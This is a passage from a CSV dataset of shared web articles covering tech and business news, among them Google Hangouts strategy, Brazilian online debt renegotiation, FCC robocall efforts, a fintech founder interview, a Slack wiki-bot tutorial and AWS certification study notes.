to raise the skills of the labor force to fill its talent gap and to sustain labor mobility. The government will need to manage conflicts among many stakeholders, as well as shift governance and incentives that rewarded a single-minded focus on rising GDP, even as it modernizes its own processes. Exactly how can China's economy become more productive? Go to Tableau Public to examine how six industry archetypes contribute to the country's growth by province. About the author(s) Jonathan Woetzel is a director of the McKinsey Global Institute, where Jeongmin Seong is a senior fellow; Yougang Chen is a partner in McKinsey's Hong Kong office, where Kevin Sneader is a senior partner; Nicolas Leung is a senior partner in the Beijing office; and Jon Kowalski is a consultant in the Pittsburgh office. Report - McKinsey Quarterly",en
1471867772,CONTENT SHARED,2429264894470039764,801895594717772308,-3758192561302242197,,,,HTML,http://www.theverge.com/2016/8/16/12494408/googles-hangouts-enterprise-communications-app,Google's Hangouts still has a future: as an enterprise communication app,"Today, Google launched Duo, its new mobile-only video chat app. But that's only half of Google's new messaging equation. The other half is Allo , its AI-enhanced texting app. Allo isn't available yet, even though Duo is a ""companion app"" to it. Google's VP for communications Nick Fox says that the two apps are being developed on different timelines and that it will be released in time. Thing is, Google already has a messaging solution that handles both text and video chat - it's called Hangouts, and it's become the butt of many a joke about how moribund it has become. After launching with a lot of high-minded promises and ideas about the future of mobile communication , meaningful product development seems to have stalled out. Even so, Allo and Duo are not replacing Hangouts, which makes you wonder: what's next for Hangouts? The answer is simple: business. That's what Fox told me before diving into the product briefing for Duo. Google, he says, places its messaging goals into three buckets. And understanding them goes a long ways towards making sense of Google's "" try everything "" messaging strategy. Three buckets: consumer, carrier, and enterprise The first bucket is the one we're most familiar with: consumer services. This is squarely where Allo and Duo will sit. They're focused on end users, designed with simplicity in mind, and there's an attempt to add some ""humanness"" to them, in Fox's terms. The second bucket: carrier services. This is where Google does a few different things. It makes the messaging app for SMS and RCS (Rich Text Services, the next-gen SMS), provides RCS services to carriers with its recently-acquired Jibe software, and finally makes the phone app. ""We don't think of the Phone app as a Google product as much as we think of it as a manifestation - hopefully a great manifestation - of the carrier's phone [...] calling service,"" says Fox. ""Same thing with the SMS/RCS app,"" he adds. That leaves the third bucket, the enterprise. And Fox says that's ""where Hangouts will increasingly focus over time."" Though he insists that Google ""won't abandon consumer users in Hangouts, obviously,"" he does feel that apps do better with focus. That's a big reason why Duo is so heavily focused on phones, and a parallel focus on big business will apparently apply to Hangouts. ""It's a return to the roots of Hangouts."" ""In some ways it's a return to the roots of Hangouts,"" says Fox, ""where it was more of a desktop legacy. It's used pretty heavily in enterprises, small business, [and] large group collaborations."" Hangout will remain for those purposes, and where it's going next is into Google's Office competitor. Fox says that ""it will increasingly be more integrated with the Google Apps suite."" It's obviously closely tied to Gmail already, but we can expect ""deep integrations"" with other Google apps like ""Calendar, Docs, [and] Spreadsheets."" In fact, Hangouts is already distancing itself from the consumer space. The first step was decoupling it from Google Plus. And only yesterday, Google killed off most community aspects of Hangouts on Air , which let users broadcast directly from a Hangout video chat. One of the reasons for this refocusing, according to Fox, is that that Google no longer wants to try to ""do everything in one app,"" but instead make each of its app more focused on its target use case. ""We do think it's important when we think about these apps to have a target use case or target persona in mind,"" he says. Shifting Hangouts from the consumer to the enterprise space seems like a smart idea, but it also presents an entirely different set of competitors. In the near future, if Google pulls this move off, we'll be comparing Hangouts to the likes of Slack, Skype, Yammer, and Convo instead of comparing it to Facebook Messenger or WhatsApp. But even though that will be a different comparison, it will be just as unflattering - only this time for different reasons. That's not to say that Google can't turn Hangouts into a good work collaboration tool. But doing that takes innovation, will, and commitment - precisely the things that Hangouts has lacked since it launched. Google's three-bucket messaging strategy tells a great story to somebody trying to set up business units. To actual users, the ones who would like something as seamlessly multi-platform as WhatsApp, Facebook Messenger, and iMessage, it tells a different story: we haven't figured out this whole social communication thing just yet. It's hard not to look at all of it and wonder what would have happened if the boondoggle known as Google+ hadn't distracted so much of the company. We'll never know the answer to that question. What we do know is that the competition in the messaging space has never been stronger, so Google can't afford to be distracted anymore. Correction 9:20am ET: A previous version of this article stated that Jive was a recent Google acquisition. That was incorrect. Jibe was the recently acquired company. We regret the error, and have updated the piece accordingly.",en
1471871411,CONTENT SHARED,-9184137057748005562,3217014177234377440,-4519196325199646865,,,,HTML,http://www1.folha.uol.com.br/mercado/2016/08/1805498-correntistas-podem-renegociar-dividas-com-o-banco-pela-internet.shtml,Correntistas podem renegociar dívidas com o banco pela internet,"Rubens Cavallari - 25.jul.2012/Folhapress Aumento do calote fez com que bancos abrissem sites exclusivos para renegociação de dívidas EULINA OLIVEIRA DE SÃO PAULO O aumento da inadimplência fez com que os bancos abrissem sites exclusivos para renegociação de dívidas de seus correntistas. Nessas plataformas, todos os débitos do cliente -em cartão de crédito e cheque especial, por exemplo- podem ser somados e se transformar em um único crédito pessoal. As instituições financeiras apostam que a discrição do sistema, em que o cliente não precisa falar com o gerente e fica livre de cobranças por telefone, serve como estímulo para a quitação das dívidas. Mas, para educadores financeiros, a ferramenta pode fazer o cliente pagar mais na hora de sair do negativo. Para eles, a negociação pessoal sempre será mais vantajosa do que a feita por computador, já que possibilita obter descontos melhores. ""É preciso tomar cuidado com a questão da impessoalidade, já que o cliente vai estar conversando com o computador, que oferece opções já fechadas de parcelamento"", afirma o educador financeiro Silvio Bianchi. Ele argumenta que, pela internet, a pessoa não vai poder dar ""aquela choradinha"" para obter um desconto, o que poderia ocorrer se conversasse com o gerente. Na renegociação pela internet, o correntista não consegue saber se a taxa de juros cobrada no novo contrato é a mais barata possível. Questionados, os bancos não informaram a taxa do crédito renegociado. De acordo com o Banco Central, a taxa média de juros para pessoa física na renegociação era de 56% ao ano, no levantamento de junho. No cheque especial, era de 315% ao ano, enquanto no cartão de crédito chega a 470% ao ano. Só trocar a dívida não é suficiente, diz Reinaldo Domingos, presidente da Abefin (Associação Brasileira de Educadores Financeiros). ""Se não houver condições de pagar, é melhor nem renegociar e esperar o momento mais adequado para fechar um acordo"", afirma. MELHOR PARA BANCOS A combinação de juros, inflação e desemprego em alta fez a inadimplência das pessoas físicas subir para 6,1% no mês de junho, ante 5,3% há um ano. Isso significa mais custo para os bancos, que precisam reforçar suas reservas contra calotes. O Banco do Brasil lançou um canal de renegociação em 2014 e fechou 280 mil acordos desde então. O total de dívidas já renegociadas é de R$ 2,8 bilhões, afirma Walter Malieni Júnior, vice-presidente de Controles Internos e Gestão de Riscos do BB. De acordo com o executivo, 80% dos acordos de renegociação fechados via internet são cumpridos -taxa maior que a obtida pelas empresas de cobrança, que é de aproximadamente 70%. No Itaú Unibanco, o sucesso das negociações no ambiente digital é, em média, 20% maior na comparação com outros canais, segundo Adriano Pedroti, diretor de Crédito e Cobrança da instituição. ""O cliente consegue, em poucos segundos, solucionar suas pendências pelos diversos meios digitais. É bom para o cliente, que ganha tempo, e também para o banco"", afirma Pedroti. A Caixa lançou sua plataforma em julho. Além do site exclusivo, montou uma frente de renegociação em seus perfis no Facebook e no Twitter e planeja lançar um aplicativo dedicado ao serviço. No caso do Bradesco, a solução foi firmar parcerias com os portais Quero Quitar e Acordo Certo. Segundo o banco, neste ano já foram realizadas mais de 60 mil consultas de clientes aos portais. A instituição não informou o total renegociado. Já o Santander diz que está desenvolvendo uma solução via web, que abrange todos os produtos para renegociação. Por enquanto, é possível negociar com um atendente via chat pelo site do banco. Renegociação on-line O que pode ser renegociado: dívidas de empréstimos e financiamentos com atraso superior a 60 dias e no valor total de até R$ 49 mil. O que não entra na renegociação: dívidas de cartão de crédito e financiamento habitacional Condições: a dívida pode ser parcelada em até 96 meses, mas é necessário pagar 10% na primeira parcela BANCO DO BRASIL www.bb.com.br/solucaodedividas O que pode ser renegociado: dívidas atrasadas ou em dia de cartão de crédito, cheque especial e empréstimos. O cliente pode transformar o saldo de várias dívidas em uma única parcela mensal BRADESCO www.queroquitar.com.br www.acordocerto.com.br Quem pode renegociar: clientes com dívidas vencidas entre 360 e 1.080 dias Como renegociar: pelo site, os clientes podem sugerir uma proposta de renegociação e conversar com atendentes via chat Como renegociar: pela internet, apenas via chat no site do banco",pt
1471874208,CONTENT SHARED,3915768615016750361,-709287718034731589,3258533862515241737,,,,HTML,http://www.wired.com/2016/08/fcc-robocall-strike-force/,Apple and Google Are Teaming Up to Kill Robocalls Forever,"Robocalls are more than an annoyance. They're a threat. Scammers, identity thieves, and other unsavory types use them to target victims. One particularly enterprising band of low-lifes even posed as IRS agents to pilfer $26.5 million from people. ""Americans are fed up,"" says Federal Communications Commission boss Tom Wheeler. ""Robocalls are a scourge. It's the number one complaint that we hear from consumers on a daily basis."" To address those complaints, Apple, Alphabet (you know-the folks who own Google), AT&T, Comcast and other tech companies are joining an FCC task force charged with ending the scourge of automated pre-recorded telemarketing calls. Whether they'll succeed is another matter entirely. Do Not Want The Federal Trade Commission established the national ""Do Not Call Registry"" in 2003 specifically to solve this problem. But voice over internet protocol technology made it cheap and easy for scammers operating beyond the US to make long-distance calls that appear to be coming from within the country. Yes, the same tech that makes it easy for you to have a free Google Voice number makes it equally easy for hucksters and thieves to pester you at dinner. Critics blame carriers like AT&T and Verizon for not doing more to combat robocalls. The carriers, of course, blame the government, because everyone blames the government for everything. In June, AT&T CEO Randall Stephenson-who now leads the FCC strike force- claimed that AT&T couldn't block robocalls because it might inadvertently block a legit call from, say, a hospital or other emergency service. The good news is the FCC has made it quite clear that it is OK for telcos to block robocalls, and the agency very much wants them to. Meanwhile, the Senate is cooking up a bill to require carriers to offer free robocall-blocking services to customers. But is it even possible to out-maneuver these miscreants with technology? Whitelist/Blacklist Yes, says Aaron Foss, it is. Foss founded the robocall blocking company Nomorobo . Three years ago, the FTC awarded him $25,000 for his robocall-busting software, which he claims now blocks over 700,000 calls each day. Nomorobo maintains an extensive blacklist of known robocallers, as well as a whitelist of emergency services, such as hospitals, to reduce the chances of urgent phone calls being blocked. Foss says that less than one-tenth of 1 percent of the calls it blocks are false positives. The catch is that until recently he was limited to blocking calls on voice over Internet protocol phones. Historically, mobile phones, even smartphones, have made automatically blocking these calls difficult at best. Instead, Nomorobo provides mobile users with a constantly updated address book that labels known bad actors as ""robocaller"" and has customers hit the ""ignore"" button. Forthcoming changes in iOS and Android will allow Nomorobo to offer an app that automatically blocks these annoying automated calls. FCC commissioner Ajit Pai name-checked Nomorobo during Friday's inaugural meeting of the strike force , but Foss wasn't invited to participate. Still, he hopes the team is successful, even if it would render Nomorobo's current services obsolete. ""I've always said that if I do this right, I'll work myself out of a job,"" he says. Of course, Nomorobo has gathered a trove of data about robocallers that Foss believes telcos and handset manufacturers would buy it. Yes, it's entirely possible possible that trying to make a blacklisting solution scale to millions of mobile phone and landline users across the country simply won't work. But at least the industry finally appears to be taking the problem seriously.",en
1471876544,CONTENT SHARED,-2203297578165226595,4670267857749552625,-4122349478483155932,,,,HTML,https://www.acquia.com/blog/announcing-acquia-engage-awards/22/08/2016/3297331,Announcing the Acquia Engage Awards,"Acquia partners are pushing the boundaries of what's possible with digital. They're helping their clients achieve their great ambitions, and creating digital experiences that inspire, entertain, and inform. Experiences that extend from mobile to a rapidly growing ecosystem of Internet-connected objects that are located just about everywhere we go.",en
1471877804,CONTENT SHARED,2513724012883866928,3217014177234377440,-4519196325199646865,,,,HTML,http://links.pmi.mkt6308.com/servlet/MailView?ms=MjYyMzk5NDES1&r=MzA3MzYxNTU1MTA4S0&j=ODYyNDg5OTMyS0&mt=1&rt=0,[Webinar] PMI | Project Management Institute,"©2016 Project Management Institute, Inc. All rights reserved. ""PMI,"" the PMI logo, ""PMP,"" ""PMBOK,"" ""PM Network,"" ""Project Management Institute"" and ""Pulse of the Profession"" are registered marks of Project Management Institute, Inc. For a comprehensive list of PMI marks, please contact the PMI Legal Department.",en
1471880113,CONTENT SHARED,3455160158461205368,5660542693104786364,7166679018681063436,,,,HTML,http://smartmoneysmartliving.com/2016/08/22/self-directed-smart-investing-swanest/,"""It's time for self-directed 'smart' investing"" - An Interview With Swanest CEO Silvan Schumacher - Smart Money Smart Living","I recently had the chance to speak to Swanest Co-Founder and CEO Silvan Schumacher about the investment management industry, developments in the fintech sector and about what's been happening at investing start-up Swanest . In this post, you will find the full interview and information on all topics we discussed. How did you and your co-founders come together to start Swanest? My three co-founders already ran a software development company at the time we met, which was during an exchange semester I did in Belgium for my master's degree. When I entered into the mix we discussed business ideas and came to the conclusion that we wanted to do something in the fintech space as we all had a strong interest in it. The founding team consists of Youri Tolstoy, Cyril Lequeux, Nicolas Bindels and myself. Each of us has their own set of skills that compliment each other nicely. Youri is our IT architect, Nicolas is our UI/UX expert, Cyril is the algorithmic specialist and my strengths lie in marketing and finance law. How did the idea for Swanest come about and why did you choose the name Swanest? Swanest came about as we all had frustrating experiences when it came to financial services and after a project at university about micro investments in emerging countries our interest for disrupting the investment space rose. Then come to 'rise of the robo-advisors' and we were able to witness the pros & cons of these business models and the challenges they are facing. Once, the basic idea for Swanest was formed we joined the NEST'up accelerator in Belgium. There we received excellent mentorship and guidance and our key takeaway was that we want to design solutions around needs of customers. The name Swanest is a combination of swan and nest. The swan is a symbol of fidelity and relationship. While the nest is a symbol of someone's financial nest eggs. Therefore, Swanest is about a trustworthy and long-lasting relationship with our customers. How has Swanest evolved since, what major challenges have you had and when are you looking to launch? We launched our MVP (minimum viable product) and then started to build new features on top of it. Our platform currently allows users to create an ETF & share-based portfolios, all individually optimised and managed, to test out our dashboard and new features we are adding. The biggest challenge for brokerages and robo-advisors, in general, are the client acquisition costs. This is something we spend a lot of time focussing on for when we go live. Our official launch is planned for early 2017 in the UK. You intend to launch in Europe and the UK. Has the result of the 'Brexit' referendum made the UK launch a lot more difficult or do you think that it will be business-as-usual for fintech services looking to launch in the UK? For the time being the 'Brexit' doesn't pose a big difficulty for us as long as the license passporting rules don't change for UK-based financial services providers. I think it's highly unlikely that that will happen given that London is a major global financial centre - a status that both the private sector and the UK government want to keep. On top of that, the UK remains among the most interesting markets to serve in our industry. I have been following Swanest for quite a while and have been playing around with the dashboard and my model portfolio. I noticed you want your user base to vote on the next features you will develop for the platform. How did that idea come about? It was an idea that spurred from improved customisation and client inclusion. Designing solutions around customer needs are key for businesses today, especially in the fintech sector. Hence, including customers in the development of Swanest is of utmost importance to us. At the end of the day, we are building Swanest for them. The features they want are the features we want to develop and integrate into our platform. That is why we have creates a list possible features that our users can vote on to be implemented into the platform . We want to make Swanest the digital investment assistant helping self-directed investors to build, manage and understand personalised investment strategies. The way we achieve this is actually simple. We look at all the questions do-it-yourself investors face along their investment journey and then use algorithms & automation to provide meaningful guidance to help to solve these questions. Putting all that together into a user-friendly and accessible service, allows us to make self-directed investing simple, yet powerful. ""Swanest is a smart investing platform that empowers Individual investors by giving them the education AND TOOLS to take a more autonomous approach to their finances."" What are your thoughts on the current robo-advisor landscape and why did you choose to go the route of creating a platform for DIY investors as opposed to jumping onto the robo-advisor bandwagon? We follow this sector closely and we have noticed that robo-advisors aren't really evolving at the moment. The business models and algorithms are all very similar without much fresh innovation coming. Furthermore, having attended several fintech conferences and having listened to robo-advisors talk about their businesses it seems like it's an industry that is hyping itself up. Instead, they should be developing their services further and drive customer inclusion. At Swanest, we believe that it's time for self-directed 'smart' investing. We want to empower individual investors by giving them the education and tools they need to take a more autonomous approach to investing. Hence, we decided to launch a DIY online brokage as opposed to purely a robo-advisor. What do you think will be the most impactful developments of the fintech sector within the financial industry as a whole? From a tech perspective, fintech businesses are starting to understand finance and are improving the entire financial system. The global financial system is large and very complex and only a few people truly grasp the full scale of the financial system. I think that those who fully grasp the industry's inter-connectivities and manage to find solutions that incorporate them will be the most impactful and influential in the future. Vote for new features at Swanest and Swanest is currently hiring to expand its team!",en
1471887330,CONTENT SHARED,-1073835383506921412,3609194402293569455,2225608484985884341,,,,HTML,https://www.sitepoint.com/create-a-slack-bot-to-interact-with-your-wiki/,Create a Slack Bot to Interact with Your Wiki,"Wiki platforms have been the ""go to"" tool for many teams. They are also used by many an open source projects as a communication and organization medium. In the last few years Slack has come to the stage of tools used by many companies. It's key goal being effective communication between the members of a team. Besides chat, Slack also offers apps which let you easily connect to other services, such as Trello, MailChimp, Blue Jeans, etc. But app integration is not the only feature Slack has to offer. Today we will look at something different. Bots in chat applications aren't a new thing, they date back to the IRC days where we would have bots that took care of different things, like chat misbehavior, weather forecast, games, etc. The same concepts apply in Slack. In this article we will work on a wiki bot. Your team could use some help from a bot here and there sometimes, right? The wiki platform that we will use is MediaWiki. Mediawiki is an open source wiki package which originally began on Wikipedia. It is one of the most used wiki systems. Setup We are going to use two main Ruby gems in this tutorial: media-wiki-api and slack-ruby-bot . We also want our bot to live somewhere, so let's use the Sinatra framework and host our bot on Heroku. Start by creating a directory named slack-wikibot , and inside it create two Ruby files, called slack-wikibot.rb and Gemfile . In the Gemfile , add: Gemfile: Let's run bundle install to have these gems installed: bundle install Create another directory with the same name ( slack-wikibot ) and inside that directory create a Ruby file with the name bot.rb . The bot.rb file looks like: bot.rb: Create a web.rb file that will hold our web application and make it easy for hosting the bot. Platforms like Heroku and OpenShift make it very easy to deploy Sinatra apps. web.rb: MediaWiki To create an article via the API, we need first to point to our MediaWiki API URL: We use the create_page method to create an article, which requires two parameters: the title and content of the article. This created a page, but when this code is run directly from a script, we don't get anything back. There is an object we can use to have access to a parsed MediaWiki API response. Input: If we call the data method now on response , we get a nice hash. Now we have access to the pageid of the new wiki article. We can do a simple query and this will return the article. Let's take a look at another method that is used to remove our article. The delete method requires two arguments: the title of the page and the reason for deleting the article. Since MediaWiki offers revisions and it lets you go back in time, having a reason for deletion is very helpful. To use this method, you need to have an account and be logged in. This is very easy: Now everywhere we use the wiki_connection object, we are authenticated. If you still are not authorized to delete articles, that means that you are not in the groups that allow this kind of action. I had this problem even though I was the first user of the MediaWiki install. In this case, you need to head to the Special:UserRights page and add yourself to the bureaucrat and sysop groups. Now create a directory named commands where we will add the commands that the SlackWikiBot will use. Inside the commands directory, create a new file called wiki.rb . The path of this new file is slack-wikibot/slack-wikibot/commands/wiki.rb . This is the place where our commands live, it can be structured in many different ways. I suggest you take a look at the documentation of the slack-ruby-bot gem. I am using the match operator, but there are other ways like command and scan . In this case, our bot is watching our chat and, whenever it sees that we have used the !wiki create or !wiki delete keywords, it will perform some action. wiki.rb: Let's take a look at our project structure: Now edit slack-wikibot.rb , which we created in the root directory, and require the slack-ruby-bot gem. With that, our bot and wiki commands are created. slack-wikibot.rb: Create a config.ru file for our Rack application. We'll create a thread for our bot and run the webserver: config.ru Let's use Foreman, as it allows us to easily manage our runtime dependencies. Foreman is also useful when we have environment variables, like in a .env file. Furthermore, Heroku also uses Foreman. We need an API key from Slack so we can interact with the bot in chat. Visit the bot service page while you are logged in your slack team. The first step is to set a username for our bot: After clicking the ""Add bot integration"" button, the next step is to add information regarding our bot. We can set a name, upload an image, and set some other properties. Also, the needed API key is on this page: Create a .env file in the root directory of our project and add the API key: Create a Procfile in the root directory, which Foreman will use when you run the command below: Procfile: Now let's run our bot: Deploy to Heroku You will need to have the Heroku tools installed: Use the Heroku command to create the application: It will assign a random name and add a git remote repository. Now push your code to the Heroku repository. Note : You will have to use git for this part, so if you haven't, make sure to git add and git commit your code before pushing. Now if you visit your Heroku application URL (Yours will be different): You should get a page that says Bot is running... Go back to Slack and use the /invite @YourBotsName to invite your bot to a channel. Then, try one of the commands we created: Conclusion Bots are a very handy tool to automate some of our work. You can find more information on making Slack bots in this post on SitePoint . Every time you find yourself doing a repetitive work, think if it can be done by a bot. If the answer is ""yes"", then there is no time to waste, start creating one. There are many benefits in having bots do our work: They are fast and make fewer to no mistakes, just to name a couple. Now is the time to accept our new Slack-bot based overlords :)",en
1471904932,CONTENT SHARED,3706563147339457456,3302556033962996625,-5395923186880398197,,,,HTML,https://blue-clouds.com/2016/08/16/16-08-16/,AWS Certified Solutions Architect Professional – Study Guide – Domain 8.0: Cloud Migration and Hybrid Architecture (10%),"The final part of the study guide is below - thanks to all those who have tuned in over the past few weeks and given some very positive feedback. I hope it helps (or has helped) you get into the Solutions Architect Pro club. It's a tough exam to pass and the feeling of achievement is immense. Good luck! 8.1 Plan and execute for applications migrations AWS Management Portal available to plug AWS infrastructure into vCenter. This uses a virtual appliance and can enable migration of vSphere workloads into AWS Right click on VM and select ""Migrate to EC2"" You then select region, environment, subnet, instance type, security group, private IP address Use cases:- Migrate VMs to EC2 (VM must be powered off and configured for DHCP) Reach new regions from vCenter to use for DR etc Self service AWS portal in vCenter Create new EC2 instances using VM templates Templates map to AMIs and can be used to let admins pick a type for their deployment Storage Gateway can be used as a migration tool Gateway cached volumes (block based iSCSI) Gateway stored volumes (block based iSCSI) Virtual tape library (iSCSI based VTL) Takes snapshots of mounted iSCSI volumes and replicates them via HTTPS to AWS. From here they are stored in S3 as snapshots and then you can mount them as EBS volumes It is recommended to get a consistent snapshot of the VM by powering it off, taking a VM snapshot and then replicating this AWS Data Pipeline is a web service that helps you reliably process and move data between different AWS compute and storage services, as well as on-premise data sources, at specified intervals. With AWS Data Pipeline, you can regularly access your data where it's stored, transform and process it at scale, and efficiently transfer the results to AWS services such as Amazon S3, Amazon RDS, Amazon DynamoDB, and Amazon Elastic MapReduce (EMR). AWS Data Pipeline helps you easily create complex data processing workloads that are fault tolerant, repeatable, and highly available. You don't have to worry about ensuring resource availability, managing inter-task dependencies, retrying transient failures or timeouts in individual tasks, or creating a failure notification system. AWS Data Pipeline also allows you to move and process data that was previously locked up in on-premise data silos Pipeline has the following concepts:- Pipeline (container node that is made up of the items below, can run on either EC2 instance or EMR node which are provisioned automatically by DP) Datanode (end point destination, such as S3 bucket) Activity (job kicked off by DP, such as database dump, command line script) Precondition (readiness check optionally associated with data source or activity. Activity will not be done if check fails. Standard and custom preconditions available- DynamoDBTableExists, DynamoDBDataExists, S3KeyExists, S3PrefixExists, ShellCommandPrecondition) Pipelines can also be used with on premises resources such as databases etc Task Runner package is installed on the on premises resource to poll the Data Pipeline queue for work to do (database dump etc, copy to S3) Much of the functionality has been replaced by Lambda Setup logging to S3 so you can troubleshoot it 8.2 Demonstrate ability to design hybrid cloud architectures Biggest CIDR block you can have is a /16 and smallest is /28 for reservations First four IP addresses and last one are reserved by AWS - always 5 reserved 10.0.0.0 - Network address 10.0.0.1 - Reserved for VPC router 10.0.0.2 - Reserved by AWS for DNS services 10.0.0.3 - Reserved by AWS for future use 10.0.0.255 - Reserved for network broadcast. Network broadcast not supported in a VPC, so this is reserved When migrating to Direct Connect from a VPN, make the VPN connection and Direct Connect connection(s) as part of the same BGP area. Then configure the VPN to have a higher cost than the Direct Connect connection. BGP route prepending will do this as BGP is a metric based protocol. A single ASN is considered a more preferable route than an ASN with three or four values For applications that require multicast, you need to configure a VPN between the EC2 instances with in-instance software, so the underlying AWS infrastructure is not aware of it. Multicast is not supported by AWS VPN network must be a different CIDR block than the underlying instances are using (for example 10.x address for EC2 instances and 172.16.x addresses for VPN connection to another VPC) SQL can be migrated by exporting database as flat files from SQL Management Studio, can't replicate to another region or from on premises to AWS CloudSearch can index documents stored in S3 and is powered by Apache SOLR Can also search DynamoDB with CloudSearch CloudSearch can automatically scale based on load or can be manually scaled ahead of expected load increase Multi-AZ is supported and it's basically a service hosted on EC2, and these are how the costs are derived EMR can be used to run batch processing jobs, such as filtering log files and putting results into S3 EMR uses Hadoop which uses HDFS, a distributed file system across all nodes in the cluster where there are multiple copies of the data, meaning resilience of the data and also enables parallel processing across multiple nodes Hive is used to perform SQL like queries on the data in Hadoop, uses simple syntax to process large data sets Pig is used to write MapReduce programs EMR cluster has three components:- Master node (manages data distribution) Core node (stores data on HDFS from tasks run by task nodes and are managed by the master node) Task nodes (managed by the master node and perform processing tasks only, do not form part of HDFS and pass processed data back to core nodes for storage) EMRFS can be used to output data to S3 instead of HDFS Can use spot, on demand or reserved instances for EMR cluster nodes S3DistCp is an extension of DistCp that is optimized to work with AWS, particularly Amazon S3. You use S3DistCp by adding it as a step in a cluster or at the command line. Using S3DistCp, you can efficiently copy large amounts of data from Amazon S3 into HDFS where it can be processed by subsequent steps in your Amazon EMR cluster Larger data files are more efficient than smaller ones in EMR Storing data persistently on S3 may well be cheaper than leveraging HDFS as large data sets will require large instances sizes in the EMR cluster Smaller EMR cluster with larger nodes may be just as efficient but more cost effective Try to complete jobs within 59 minutes to save money (EMR billed by hour)",en
1471905077,CONTENT SHARED,9056727675613132316,3302556033962996625,-5395923186880398197,,,,HTML,https://blue-clouds.com/2016/08/09/09-08-16/,AWS Certified Solutions Architect Professional – Study Guide – Domain 7.0: Scalability and Elasticity (15%),"7.1 Demonstrate the ability to design a loosely coupled system Amazon CloudFront is a web service (CDN) that speeds up distribution of your static and dynamic web content, for example, .html, .css, .php, image, and media files, to end users. CloudFront delivers your content through a worldwide network of edge locations. When an end user requests content that you're serving with CloudFront, the user is routed to the edge location that provides the lowest latency, so content is delivered with the best possible performance. If the content is already in that edge location, CloudFront delivers it immediately. If the content is not currently in that edge location, CloudFront retrieves it from an Amazon S3 bucket or an HTTP server (for example, a web server) that you have identified as the source for the definitive version of your content. CloudFront has two aspects - origin and distribution. You create a distribution and link it to an origin, such as S3, an EC2 instance, existing website etc Two types of distributions, web and RTMP Geo restrictions can be used to white or blacklist traffic from specific countries, blocking access to the distribution GET, HEAD, PUT, POST, PATCH, DELETE and OPTIONS HTTP commands supported Allowed methods are what CloudFront will pass on to the origin server. If you do not need to modify content, consider not allowing PUT, POST, PATCH, DELETE to ensure users to not modify content CloudFront does not cache responses to POST, PUT, DELETE and PATCH requests, can POST content to an Edge location and then this is send on to the origin server SSL can be used to provide HTTPS. Can either use CloudFront's own certificate or use your own To support older browsers, need dedicated SSL IP certificate per edge location, can be very expensive SNI (Server Name Indication) custom SSL certs can be used by adding all hostnames behind the certificate but it is presented as a single IP address. Uses SNI extensions in newer browsers 100 CNAME aliases per distribution, can use wildcard CNAMEs Use Invalidation Requests to forcibly remove content from Edge locations. Need to use API call to do this or do it from the console, or set a TTL on the content Alias records can be used to map a friendly name to a CloudFront URL (Route 53 supports this). Supports zone apex entry (name without www, such as example.com). DNS records for the same name must have the same routing type (simple, weighted, latency, etc) or you will get an error in the console Alias records can then have ""evaluate target"" set to yes so that existing health checks are used to ensure the underlying resources are up before sending traffic onwards. If a health check for the underlying resource does not exist, evaluate target settings have no effect AWS doesn't charge for mapping alias records to CloudFront distributions CloudFront supports dynamic web content using cookies to forward on to the origin server Forward query strings passes the whole URL to the origin if configured in CloudFront, but only for a web server or application as S3 does not support this feature Cookie values can then be logged into CloudFront access logs CloudFront can be used to proxy upload requests back to the origin to speed up data transfers Use a zero value TTL for dynamic content Different URL patterns can send traffic to different origins Whitelist certain HTTP headers such as cloudfront-viewer-country so that locale details can be passed through to the web server for custom content Device detection can serve different content based on the User Agent string in the header request Invalidating objects removes them from CloudFront edge caches. A faster and less expensive method is to use versioned object or directory names Enable access logs in CloudFront and then send them to an S3 bucket. EMR can be used to analyse the logs Signed URLs can be used to provide time limited access or access to private content on CloudFront. Signed cookies can be used to limit secure access to certain parts of the site. Use cases are signed URLs for a marketing e-mail and signed cookies for web site streaming or whole site authentication Cache-control max-age header will be sent to browser to control how long the content is in the local browser cache for, can help improve delivery, especially of static items If-modified-since will allow the browser to send a request for content only if it is newer than the modification date specified in the request. If the content has not changed, content is pulled from the browser cache Set a low TTL for dynamic content as most content can be cached even if it's only for a few seconds. CloudFront can also present stale data if TTL is long Popular Objects report and cache statistics can help you tune CloudFront behaviour Only forward cookies that are used to vary or tailor user based content Use Smooth Streaming on a web distribution for live streaming using Microsoft technology RTMP is true media streaming, progressive download downloads in chunks to say a mobile device. RTMP is Flash only Supports existing WAF policies You can create custom error response pages Two ElastiCache engines available - Redis and Memcached. Exam will give scenarios and you must select the most appropriate As a rule of thumb, simple caching is done by memcached and complex caching is done by Redis Only Redis is multi-AZ and has backup and restore and persistence capabilities, sorting, publisher/subscriber, failover Redis uses a persistence key store or caching engine for persistence Redis has backup and restore and automatic failover and is best used for frequently changing data in a complex scale Doesn't need a database to backend it like memcached does Leader boards is a good use case for Redis Redis can be configured to use an Append Only File (AOF) that will repopulate the cache in case all nodes are lost and cache is cleared. This is disabled by default. AOF is like a replay log Redis has a primary node and read only nodes. If the primary fails, a read only node is promoted to primary. Writes done to primary node, reads done from read replicas (asynchronous replication) Redis snapshots are used to increase the size of nodes. This is not the same as EC2 snapshots, the snapshot creates a new node based on the snapshot and size is picked when launching Redis can be configured to automatically backup daily in a window or manual snapshots. Automatic have retention limits, manual don't Memcached can scale horizontally and is multi-threaded, supports sharding Memcached uses lazy loading, so if an app doesn't get a hit from the cache, it requests it from the DB and then puts that into cache. Write through updates the cache when the database is updated TTL can be used to expire out stale or unread data from the cache Memcached does not maintain it's own data persistence, database does this, scale by adding more nodes to a cluster Vertically scaling memcached nodes requires standing up a new cluster of required instance sizes/types. All instance types in a cluster are the same type Single endpoint for all memcached nodes Put memcached nodes in different AZs Memcache nodes are empty when first provisioned, bear this in mind when scaling out as this will affect cache performance while the nodes warm up For low latency applications, place Memcache clusters in the same AZ as the application stack. More configuration and management but better performance When deciding between Memcached and Redis, here are a few questions to consider: Is object caching your primary goal, for example to offload your database? If so, use Memcached. Are you interested in as simple a caching model as possible? If so, use Memcached. Are you planning on running large cache nodes, and require multithreaded performance with utilization of multiple cores? If so, use Memcached. Do you want the ability to scale your cache horizontally as you grow? If so, use Memcached. Does your app need to atomically increment or decrement counters? If so, use either Redis or Memcached. Are you looking for more advanced data types, such as lists, hashes, and sets? If so, use Redis. Does sorting and ranking datasets in memory help you, such as with leaderboards? If so, use Redis. Are publish and subscribe (pub/sub) capabilities of use to your application? If so, use Redis. Is persistence of your key store important? If so, use Redis. Do you want to run in multiple AWS Availability Zones (Multi-AZ) with failover? If so, use Redis. Amazon Kinesis is a managed service that scales elastically for real-time processing of streaming data at a massive scale. The service collects large streams of data records that can then be consumed in real time by multiple data-processing applications that can be run on Amazon EC2 